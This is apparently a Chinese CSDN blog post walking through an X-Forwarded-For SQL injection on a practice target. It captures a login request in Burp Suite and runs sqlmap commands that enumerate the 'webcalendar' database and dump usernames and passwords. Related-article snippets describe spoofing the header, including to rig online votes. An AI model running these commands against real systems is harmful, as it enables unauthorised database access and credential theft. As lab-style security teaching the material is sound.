X-Forwarded-For注入漏洞实战

最新推荐文章于 2024-05-11 22:05:45 发布
最新推荐文章于 2024-05-11 22:05:45 发布
阅读量851 收藏
点赞数
分类专栏： web 文章标签： web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52718293/article/details/121753058
版权

解题步骤：
1.bp抓包（随便登录用户和密码）
在这里插入图片描述

2.修改X-Forward-For 鼠标右键保存到桌面（命名为*.txt 列如xff.txt）
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.使用sqlmap
库名 python sqlmap.py -r C:\Users\86191\Desktop\xff.txt --dbs --batch
在这里插入图片描述
表名 python sqlmap.py -r C:\Users\86191\Desktop\xff.txt -D webcalendar --tables --batch
在这里插入图片描述
字段 python sqlmap.py -r C:\Users\86191\Desktop\xff.txt -D webcalendar -T user --columns --batch
在这里插入图片描述
字段内容 python sqlmap.py -r C:\Users\86191\Desktop\xff.txt -D webcalendar -T user -C username,password --dump --batch
在这里插入图片描述

*小瑶
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
XXF(x-forwarded-for)
sleepywin的博客
07-15 3025
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。TCP/IP层面的IP伪造很难实现，因为更改后很难实现正常的TCP通信，但在HTTP层面的伪造就显得很容易。，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。左边第一个是浏览器IP，依次往右为第一个代理服务器IP,第二个，第三个（使用逗号+空格进行分割）
python3-requests伪造x-forwarded-for以及解决
thewindkee的博客
01-11 7381
通常，我们的服务器会有一级或者多级的反向代理， 因此我们代码中拿remote_addr会取到最后一级反向代理的ip。为了拿到真实ip,常常会去x-Forward-For中拿用户最后一级代理Ip。但是由于该值是header中的， 直接去取可能取到用户伪造的Ip。 x-forwarded-for资料 这一HTTP头一般格式如下: X-Forwarded-For: client1, proxy1...
攻防世界-xff_referer
最新发布
MateSnake的博客
05-11 337
攻防世界-xff_referer
伪造 X-Forwarded-For
intel80586
05-09 3万+
背景 应同学的要求，帮忙刷票。我上去看了一下，对方网站做了IP限制，一天之内一个IP只能投一票，并没有使用cookie校验，验证码校验等技术，总体来说这个网站的情况是比较常见的，常见的解决办法有两个： 使用大量的真实IP刷票 如果你使用的是一个拨号上网的网络，每次的拨号都能随机分配IP，这种情况下，可以使用投票一次，拨号一次的方法来实现刷票，但这个方案有两个问题： 1. 编程稍微复杂，
[极客大挑战 2019]Http1
qq_51979295的博客
09-21 502
http请求
X-Forwarded-For火狐插件
01-10
X-Forwarded-For火狐插件
Chrome插件:X-Forwarded-For Header
12-15
标题“Chrome插件：X-Forwarded-For Header”揭示了本文将深入探讨一个专门针对Google Chrome浏览器的扩展应用，该插件的主要功能是处理和设置HTTP头中的`X-Forwarded-For`字段。`X-Forwarded-For`（简称XFF）头是一...
forwarded:解析HTTP X-Forwarded-For标头
05-11
从请求中解析X-Forwarded-For标头。 以相反的顺序返回地址数组，包括req的套接字地址（即索引0是套接字地址，最后一个索引是最远的地址，通常是最终用户）。 测验 $ npm test 执照 麻省理工学院
x-forwarded-forheader1.0.1.1.1
05-01
x-forwarded-forheader1.0.1.1.1火狐老插件，可以直接本地安装在旧版火狐上面，可以用的。
X-Forwarded-For Header-crx插件
04-02
此扩展允许您快速更新X-Forwarded-For，X-Originating-IP，X-Remote-IP和X-Remote-Addr HTTP标头，以进行各种测试。 变更日志：v0.6.2-修复了干扰此扩展的Firefox版本的错误v0.6.1-修复了CORS预检请求的问题v0.6.0-...
[RoarCTF 2019]Online Proxy(x-forwarded-for盲注)
qq_62046696的博客
01-05 608
这道题点开题目然后题目显示不出网，一开始误认为是ssrf了，但是没有更多的信息了。源码有一个ip会不会是修改X-Forwarded-For就可以了呢，抓包试一下，发现有两个ip，一个当前一个是last上一个的意思把，这个本地是我火狐插件默认的。然后这里因为我经验少没感觉，看了大佬的讲解，才突然悟了，这一眼就可以看出一个sql注入的问题，因为last肯定存储到了一个数据库的里面不然查询10.244.80.206怎么能显示出来呢。
x-forward-for详解
真理部
10-09 1万+
http://www.cnblogs.com/xdjackfeng/p/3514120.htmlx-forward-for
Java获取IP地址:request.getRemoteAddr()警惕
重生の记忆
11-05 2755
项目中需要和第三方平台接口，加了来源IP鉴权功能，测试时发现没有问题，但是部署以后发现存在问题，一直鉴权不通过，一群人抓瞎。   我找到那块的代码，跟了一遍流程发现逻辑没有啥问题，但是最终的结果却还是鉴权不通过，实在有些诡异。其基本逻辑为先取得配置的IP列表，然后通过request.getRemoteAddr()取得客户端的IP地址，做鉴权和校验，逻辑没问题，那么肯定是request.getR...
使用nginx后如何在web应用中获取用户ip及原理解释
臻心依旧
08-28 2401
http://gong1208.iteye.com/blog/1559835   使用nginx后如何在web应用中获取用户ip及原理解释                                                                                                  -------gongyong   问题背景： 在实际
X-Forwarded-For绕过服务器IP地址过滤
公众号shadow sock7
06-03 1万+
参考： http://www.jianshu.com/p/98c08956183d https://github.com/bl4de/ctf/blob/master/2017/nullcon_HackIM_2017/Web1.md看到一个CTF题中有一个与X-Forwarded-For有关的。 通过在HTTP头中设置X-Forwarded-For: 127.0.0.1在正常的TCP 通信中，是
x-forward-for获取客户端真实ip
na_tion的专栏
06-22 3万+
文章来源：http://www.360doc.com/myfollow.aspx 先来看一下X-Forwarded-For的定义： X-Forwarded-For:简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息，在squid缓存代理服务器开发文档中可以找到该项的
利用X-Forwarded-For伪造客户端IP漏洞成因及防范
热门推荐
叉叉哥的BLOG
10-15 6万+
问题背景 在Web应用开发中，经常会需要获取客户端IP地址。一个典型的例子就是投票系统，为了防止刷票，需要限制每个IP地址只能投票一次。 如何获取客户端IP 在Java中，获取客户端IP最直接的方式就是使用request.getRemoteAddr()。这种方式能获取到连接服务器的客户端IP，在中间没有代理的情况下，的确是最简单有效的方式。但是目前互联网Web应用很少会将应用服务器直接对外提...
x-forwarded-for手工注入（超详细）
1
05-12 1121
使用靶场来进行演示。 访问靶场后看到的是一个常见的后台的登录框，第一步肯定是先试一下看看有没有弱口令咯，试了几个发现并不存在弱口令，但是发现网站有一串乱码的弹窗如下 虽然是乱码，但是看到里面有ip，头发短见识多得我就想到了这大概率是记录下了我本机的ip（这里的ip是开了隧道的不是我的哦~）让我们来抓包看一下 这里可以看到转编码之后确实是记录了我的ip，但是在请求包中没有发现xff头，就很奇怪，自己加上。 发现xff头的内容是可以随便控制的，下面可以看到输入单引号是报错的，那就直接尝...
x-forwarded-for注入漏洞实战
03-17
x-forwarded-for注入漏洞是一种常见的网络安全漏洞，攻击者可以通过伪造HTTP请求头中的x-forwarded-for字段，来绕过IP地址过滤和访问控制，从而实现攻击目标系统的目的。攻击者可以利用这个漏洞来进行各种攻击，比如...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值